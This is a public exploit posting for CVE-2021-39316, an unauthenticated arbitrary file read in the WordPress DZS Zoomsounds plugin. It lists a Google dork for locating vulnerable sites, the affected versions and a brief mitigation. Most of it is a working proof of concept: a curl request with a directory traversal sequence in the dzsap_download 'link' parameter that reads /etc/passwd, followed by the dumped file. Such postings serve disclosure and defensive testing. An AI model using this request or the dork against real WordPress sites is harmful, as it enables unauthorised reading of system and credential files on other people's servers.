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WordPress DZS Zoomsounds 6.45 Arbitrary File Read

WordPress DZS Zoomsounds 6.45 Arbitrary File Read
Posted Dec 3, 2021
Authored by Uriel Yochpaz

WordPress DZS Zoomsounds plugin version 6.45 suffers from an unauthenticated arbitrary file read vulnerability.

tags | exploit, arbitrary
advisories | CVE-2021-39316
SHA-256 | f036164c36ce4ac2ea0ffa900fd6d639672f6056b1a299c46bbca574da4081b8

WordPress DZS Zoomsounds 6.45 Arbitrary File Read

Change Mirror Download
# Exploit Title: WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/dzs-zoomsounds/
# Date: 2/12/2021
# Exploit Author: Uriel Yochpaz
# Vendor Homepage: https://digitalzoomstudio.net/docs/wpzoomsounds/
# Software Link:
# Version: 1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.02, 2.10, 2.20, 2.30, 2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.01, 3.03, 3.04, 3.10, 3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.51, 4.63, 5.00, 5.03, 5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.10, 6.21, 6.34, 6.45
# Tested on: Linux (DZS Zoomsounds version 5.82)
# CVE : CVE-2021-39316

The vulnerability allows a remote attacker to perform directory traversal attacks.
The vulnerability exists due to input validation error when processing directory traversal sequences in the "link" parameter in the "dzsap_download" action. A remote attacker can send a specially crafted HTTP request and read arbitrary files on the system.

Mitigation:
Install update from vendor's website.

Vulnerable software versions ZoomSounds:
1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.02, 2.10, 2.20, 2.30,
2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.01, 3.03, 3.04, 3.10,
3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.51, 4.63, 5.00, 5.03,
5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.10, 6.21, 6.34, 6.45

PoC:
user@ubuntu:~$ curl "http://localhost/MYzoomsounds/?action=dzsap_download&link=../../../../../../../../../../etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
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